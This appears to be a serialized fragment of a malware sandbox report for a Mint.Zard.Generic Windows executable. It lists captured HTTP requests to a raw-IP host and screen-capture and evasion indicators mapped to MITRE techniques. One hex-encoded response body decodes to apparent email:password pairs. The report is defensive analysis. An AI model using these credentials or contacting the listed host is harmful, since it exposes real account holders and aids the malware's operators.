24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 3b:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 026b48e79093… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 026b48e79093…. Malware family: Mint.Zard.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 4 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/026b48e79093531e6ca25d244fe3426779bdb84aee746852a59cc91621828b5e","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","026b48e79093531e6ca25d244fe3426779bdb84aee746852a59cc91621828b5e"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"026b48e79093531e6ca25d244fe3426779bdb84aee746852a59cc91621828b5e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T91b," HTTP/1.1 200 OK Date: Tue 05 May 2026 12:18:38 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive CF-RAY: 9f6fb05b9f11138a-SJC Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=5K0m0_Xb9tnSsvQYyMHtWFNm_2Pld0M7DO4nf4UFREY-1777983518-1.0.1.1-Kq.IxDyTDn1gP8ldztUluMr9ovx6N3Nt0JqeeB9U9devECDGocycPzWuLYjdcR_DNuZXCSeoDY5FjC6Ab2MfM0EqtL8YAm_Z603W2G3jbl8; path=/; expires=Tue 05-May-26 12:48:38 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /9/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 05 May 2026 12:18:38 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Tue 28 Apr 2026 07:42:40 GMT Connection: keep-alive ETag: "69f064f0-6" Accept-Ranges: bytes with response body ==>34333033380A....... "GET /9/7874.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 05 May 2026 12:18:39 GMT Content-Type: text/plain Content-Length: 258643 Last-Modified: Tue 28 Apr 2026 09:10:47 GMT Connection: keep-alive ETag: "69f07997-3f253" Accept-Ranges: bytes with response body ==>6D616E6F35375F0A73616C72696E73796C76657265406F72616E67652E66723A457A7974373238342E310A64657765796D61737365407961686F6F2E636F6D3A.......2b:T725,"" (Indicator: "GetDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp")37:T802,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69f9e0007b8a369af40d44b8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69f9e0007b8a369af40d44b8"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001656.00000000.138958.02B00000.00000004.mdmp, 00000000-00001656.00000001.140877.02B00000.00000004.mdmp, 00000000-00001656.00000002.142798.02B00000.00000004.mdmp, 00000000-00001656.00000003.148302.02B00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69f9e0007b8a369af40d44b8"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f9e0007b8a369af40d44b8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"